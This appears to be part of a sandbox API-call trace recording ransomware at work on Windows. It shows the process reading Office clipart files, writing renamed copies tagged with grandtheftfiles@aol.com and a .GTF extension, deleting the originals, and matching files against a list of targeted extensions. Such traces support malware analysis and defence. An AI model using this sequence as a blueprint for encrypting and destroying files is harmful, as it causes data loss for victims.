	[0165.011] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1560, lpOverlapped=0x0) returned 1
	[0165.013] WriteFile (in: hFile=0x504, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1570, lpOverlapped=0x0) returned 1
	[0165.014] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.014] WriteFile (in: hFile=0x504, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.014] SetEndOfFile (hFile=0x504) returned 1
	[0165.015] CloseHandle (hObject=0x504) returned 1
	[0165.015] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.015] SetEndOfFile (hFile=0x54c) returned 1
	[0165.017] CloseHandle (hObject=0x54c) returned 1
	[0165.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1
	[0165.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.018] lstrlenW (lpString=".doc") returned 4
	[0165.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.018] lstrlenW (lpString=".docx") returned 5
	[0165.018] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.018] lstrlenW (lpString=".pdf") returned 4
	[0165.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.018] lstrlenW (lpString=".xls") returned 4
	[0165.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.018] lstrlenW (lpString=".xlsx") returned 5
	[0165.019] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.019] lstrlenW (lpString=".ppt") returned 4
	[0165.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.019] lstrlenW (lpString=".zip") returned 4
	[0165.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.019] lstrlenW (lpString=".rar") returned 4
	[0165.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.019] lstrlenW (lpString=".bz2") returned 4
	[0165.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.019] lstrlenW (lpString=".7z") returned 3
	[0165.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.019] lstrlenW (lpString=".dbf") returned 4
	[0165.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.019] lstrlenW (lpString=".1cd") returned 4
	[0165.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.019] lstrlenW (lpString=".jpg") returned 4
	[0165.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.020] lstrlenW (lpString=".doc") returned 4
	[0165.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString=".docx") returned 5
	[0165.020] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.020] lstrlenW (lpString=".pdf") returned 4
	[0165.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString=".xls") returned 4
	[0165.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.020] lstrlenW (lpString=".xlsx") returned 5
	[0165.020] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.020] lstrlenW (lpString=".ppt") returned 4
	[0165.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.020] lstrlenW (lpString=".zip") returned 4
	[0165.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.020] lstrlenW (lpString=".rar") returned 4
	[0165.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString=".bz2") returned 4
	[0165.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString=".7z") returned 3
	[0165.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.020] lstrlenW (lpString=".dbf") returned 4
	[0165.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.020] lstrlenW (lpString=".1cd") returned 4
	[0165.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0165.020] lstrlenW (lpString=".jpg") returned 4
	[0165.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.020] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.021] lstrlenW (lpString="J0105504.WMF") returned 12
	[0165.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.021] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=4148) returned 1
	[0165.021] CloseHandle (hObject=0x54c) returned 1
	[0165.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220
	[0165.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.022] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.022] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0165.022] GetLastError () returned 0x0
	[0165.022] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1034, lpOverlapped=0x0) returned 1
	[0165.157] WriteFile (in: hFile=0x504, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1040, lpOverlapped=0x0) returned 1
	[0165.158] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.158] WriteFile (in: hFile=0x504, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.158] SetEndOfFile (hFile=0x504) returned 1
	[0165.158] CloseHandle (hObject=0x504) returned 1
	[0165.158] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.158] SetEndOfFile (hFile=0x54c) returned 1
	[0165.161] CloseHandle (hObject=0x54c) returned 1
	[0165.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString=".doc") returned 4
	[0165.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString=".docx") returned 5
	[0165.841] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.841] lstrlenW (lpString=".pdf") returned 4
	[0165.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString=".xls") returned 4
	[0165.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.841] lstrlenW (lpString=".xlsx") returned 5
	[0165.841] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.841] lstrlenW (lpString=".ppt") returned 4
	[0165.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString=".zip") returned 4
	[0165.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.841] lstrlenW (lpString=".rar") returned 4
	[0165.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString=".bz2") returned 4
	[0165.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString=".7z") returned 3
	[0165.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString=".dbf") returned 4
	[0165.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString=".1cd") returned 4
	[0165.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString=".jpg") returned 4
	[0165.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.841] lstrlenW (lpString=".doc") returned 4
	[0165.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString=".docx") returned 5
	[0165.842] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.842] lstrlenW (lpString=".pdf") returned 4
	[0165.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString=".xls") returned 4
	[0165.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.842] lstrlenW (lpString=".xlsx") returned 5
	[0165.842] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.842] lstrlenW (lpString=".ppt") returned 4
	[0165.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.842] lstrlenW (lpString=".zip") returned 4
	[0165.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.842] lstrlenW (lpString=".rar") returned 4
	[0165.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString=".bz2") returned 4
	[0165.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString=".7z") returned 3
	[0165.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.842] lstrlenW (lpString=".dbf") returned 4
	[0165.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.842] lstrlenW (lpString=".1cd") returned 4
	[0165.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0165.842] lstrlenW (lpString=".jpg") returned 4
	[0165.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.842] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.842] lstrlenW (lpString="J0105600.WMF") returned 12
	[0165.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.843] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=8680) returned 1
	[0165.843] CloseHandle (hObject=0x42c) returned 1
	[0165.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220
	[0165.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.844] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.844] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.845] GetLastError () returned 0x0
	[0165.845] ReadFile (in: hFile=0x42c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x21e8, lpOverlapped=0x0) returned 1
	[0165.847] WriteFile (in: hFile=0x560, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x21f0, lpOverlapped=0x0) returned 1
	[0165.848] ReadFile (in: hFile=0x42c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.848] WriteFile (in: hFile=0x560, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.848] SetEndOfFile (hFile=0x560) returned 1
	[0165.848] CloseHandle (hObject=0x560) returned 1
	[0165.848] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.848] SetEndOfFile (hFile=0x42c) returned 1
	[0165.851] CloseHandle (hObject=0x42c) returned 1
	[0165.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1
	[0165.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.852] lstrlenW (lpString=".doc") returned 4
	[0165.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString=".docx") returned 5
	[0165.852] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.852] lstrlenW (lpString=".pdf") returned 4
	[0165.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString=".xls") returned 4
	[0165.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.852] lstrlenW (lpString=".xlsx") returned 5
	[0165.852] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.852] lstrlenW (lpString=".ppt") returned 4
	[0165.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.852] lstrlenW (lpString=".zip") returned 4
	[0165.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.852] lstrlenW (lpString=".rar") returned 4
	[0165.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString=".bz2") returned 4
	[0165.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString=".7z") returned 3
	[0165.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.852] lstrlenW (lpString=".dbf") returned 4
	[0165.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.852] lstrlenW (lpString=".1cd") returned 4
	[0165.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.852] lstrlenW (lpString=".jpg") returned 4
	[0165.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.853] lstrlenW (lpString=".doc") returned 4
	[0165.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString=".docx") returned 5
	[0165.853] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.853] lstrlenW (lpString=".pdf") returned 4
	[0165.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString=".xls") returned 4
	[0165.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.853] lstrlenW (lpString=".xlsx") returned 5
	[0165.853] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.853] lstrlenW (lpString=".ppt") returned 4
	[0165.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.853] lstrlenW (lpString=".zip") returned 4
	[0165.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.853] lstrlenW (lpString=".rar") returned 4
	[0165.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString=".bz2") returned 4
	[0165.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString=".7z") returned 3
	[0165.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.853] lstrlenW (lpString=".dbf") returned 4
	[0165.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.853] lstrlenW (lpString=".1cd") returned 4
	[0165.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0165.853] lstrlenW (lpString=".jpg") returned 4
	[0165.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.853] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.853] lstrlenW (lpString="J0105638.WMF") returned 12
	[0165.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.854] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=10364) returned 1
	[0165.854] CloseHandle (hObject=0x42c) returned 1
	[0165.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220
	[0165.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.859] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.859] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.860] GetLastError () returned 0x0
